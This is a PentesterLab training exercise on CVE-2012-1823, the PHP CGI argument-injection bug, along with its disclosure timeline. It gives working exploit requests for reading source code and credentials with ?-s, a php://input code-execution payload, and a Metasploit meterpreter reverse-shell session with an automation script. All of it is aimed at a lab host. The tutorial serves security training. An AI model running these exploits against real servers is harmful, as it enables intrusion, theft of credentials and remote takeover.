CVE-2012-1823: PHP CGI

This exercise explains how you can exploit CVE-2012-1823 to retrieve the source code of an application and gain code execution.





on average


Completed this exercise


This course details the exploitation of the PHP CGI bug (CVE-2012-1823) and how an attacker can use it to retrieve arbitrary code and gain code execution on a server using this bug. This is an example of what Pentesterlab's trainings looks like (in smaller and simpler), I hope you will enjoy it.

Some details


This bug was initially discovered by Eindbazen during Nullcon Capture The Flag. Eindbazen is a famous CTF team who participate to most CTFs. The original advisory is available on their blog:

The following timeline of this bug (copied from the advisory's page) is worth reading since it's pretty funny and gives you a good idea on how much time vendors asked/needed to fix an issue:

  • 13/01/2012: Vulnerability discovered, used to compromise Nullcon Hackim 2012 scoreboard
  • 17/01/2012: Eindbazen contacts with a full report and a suggested patch
  • 01/02/2012: Eindbazen asks PHP to confirm receipt, state their intent to hand off the vulnerability to CERT if progress is not made
  • 01/02/2012: PHP forwards vulnerability report to PHP CGI maintainer
  • 23/02/2012: CERT acknowledges receipt of vulnerability and attempts to contact PHP.
  • 05/04/2012: Eindbazen asks CERT for a status update
  • 05/04/2012: CERT responds saying that PHP is still working on a fix
  • 20/04/2012: Eindbazen asks CERT to proceed with disclosure unless a patch is imminent
  • 26/04/2012: CERT prepares draft advisory.
  • 02/05/2012: CERT notifies Eindbazen that PHP is testing a patch and would like more time. Eindbazen agrees.
  • 03/05/2012: Someone posts a mirror of the internal PHP bug to reddit /r/netsec /r/opensource and /r/technology. It was apparently accidentally marked public.

As you can see, there are 4 months between the discovery of the vulnerability and its disclosure. Finally, "someone"'s mistake forced Eindbazen do go public...

The bug

The bug is due to an error on how the URI is used and provided to PHP CGI when a URL lacks = sign (typically used to separate parameter's name and value. Basically, the URI is passed to the php-cgi binary without enough filtering or encoding allowing an attacker to pass extra-argument to php-cgi command line.

Using this bug to retrieve source code

If you have access to php-cgi binary, you can run it to see what options are accepted:

user@debian:~$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f ]
       php  [args...]
  -a               Run interactively
  -b | Bind Path for external FASTCGI Server mode
  -C               Do not chdir to the script's directory
  -c | Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f         Parse .  Implies `-q'
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z         Load Zend extension .
  -T        Measure execution time of script repeated  times.

We can see that the -s option can be used to display the source code of the script.

We can use this behavior to retrieve the source code of the application by adding ?-s to the URL. This behavior can be really useful to:

  • retrieve source code
  • retrieve database credentials
  • retrieve encryption keys or any password

You can for example access the page http://vulnerable/?-s to see the code of the page directly ouputed. If you read the source code of the page, you will see that all the HTML code has been encoded to be displayed in the browser.

Using the bug to get code execution

More than just allowing code disclosure, this vulnerability allows attackers to get code execution. To get code execution, we need to send PHP code to the server and get it interpreted. The exploitation is based on using php://input to embedded the code in the body of the request.

As we seen above, the -d option can be used to change PHP configuration by modifying the INI entries. The exploitation on this exercise just need two entries to be used (to keep things simple). To exploit this bug, you want PHP to read PHP code from your HTTP request. To do that, you will need a PHP option that tell PHP to read from a file and points it to php://input. Luckily, PHP has an option auto_prepend_file since version 4.2.3: "Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used".

The good thing about this option is that the content of the file is included before any other file, i.e.: before any other code is ran. So you are sure that no other code will mess your exploitation.

However, if we want to use php://input, we need to have allowurlinclude turned On, which is often not the case. But since we can redefine the INI entries, we can easily turn it on using -d allow_url_include=1.


The exercise is an ideal and easy case to exploit since Suhosin and safe mode are disabled.

You can exploit CVE-2012-1823 using a proxy like Burp Suite or any tool allowing you to send a HTTP POST request.

In this example, we are going to use lwp-request, a Perl based HTTP library.Once installed lwp-request allow you to easily perform HTTP request using the command lwp-request or directly GET and POST.

echo "<?php system('uname -a');die(); ?>" | POST "http://vulnerable/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

The call to the die() function is used to only get the result and prevent any other code or any other output to be displayed.

You should now see the result of your command :)

Using metasploit

Metasploit can be downloaded from their main website Once you decompressed the archive file, you can run the console using the command msfconsole.


Once you have metasploit installed, you can start it by running msfconsole:

$ msfconsole

After few seconds, the msf shell should appears:

msf > 

You then need to select the exploit you want to use:

msf > use exploit/multi/http/php_cgi_arg_injection

You should be able to select your "victim", the RHOST (remote host):

msf  exploit(php_cgi_arg_injection) > set RHOST vulnerable

Since the application is running on port 80 (default value) and there is no vhost, you don't need to set the RPORT and VHOST options.

You can now select a PAYLOAD (what code will actually be run), we are going to use metasploit meterpreter:

msf  exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp

From that you just need to tell metasploit what IP address to use to connect back to you:

msf  exploit(php_cgi_arg_injection) > set LHOST 

After a quick review of the options:

msf  exploit(php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      vulnerable       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI                   no        The URI to request 
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST           yes       The listen address
   LPORT  4444              yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

We can run the exploit:

msf  exploit(php_cgi_arg_injection) > exploit

[*] Started reverse handler on :4444 
[*] Sending stage (38791 bytes) to 
[*] Meterpreter session 1 opened (:4444 -> :39055) at 2012-05-22 16:10:40 +1000

If everything goes well, you can play with meterpreter:

meterpreter > ls
meterpreter > ls

Listing: /var/www

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100664/rw-rw-r--  2023    fil   2012-05-04 12:02:39 +1000  all.css
100664/rw-rw-r--  289881  fil   2012-05-04 12:02:41 +1000  all.js
100664/rw-rw-r--  42140   fil   2012-05-04 12:02:57 +1000  bootstrap-1.1.0.css
100664/rw-rw-r--  56399   fil   2012-05-04 12:02:39 +1000  bootstrap.css
100664/rw-rw-r--  1150    fil   2012-05-04 12:02:34 +1000  favicon.ico
100664/rw-rw-r--  2684    fil   2012-05-04 14:09:04 +1000  index.php
100664/rw-rw-r--  388     fil   2012-05-04 12:02:39 +1000  patch.css


Now that you have the exploit working you can automated the exploitation by creating a metasploit script containing the following code (the list of commands from the previous section):

use exploit/multi/http/php_cgi_arg_injection
set RHOST vulnerable
set RPORT 80
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 

Once this code is saved as php-cgi.msf you can easily run it:

$ msfconsole -r php-cgi.msf
[*] Processing metasploit-script for ERB directives.
resource (metasploit-script)> use exploit/multi/http/php_cgi_arg_injection
resource (metasploit-script)> set RHOST vulnerable
RHOST => vulnerable
resource (metasploit-script)> set RPORT 80
RPORT => 80
resource (metasploit-script)> set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
resource (metasploit-script)> set LHOST 
resource (metasploit-script)> exploit
[*] Started reverse handler on :4444 
[*] Sending stage (38791 bytes) to 
[*] Meterpreter session 1 opened (:4444 -> :38881) at 2012-05-22 15:32:29 +1000

meterpreter >

You can then play with metasploit like seen previously.


This exercise showed you how to exploit the bug PHP-CGI (aka CVE-2012-1823). I hope the course provides you with more details on how PentesterLab works. This course is obviously way smaller than the paid training material we are providing.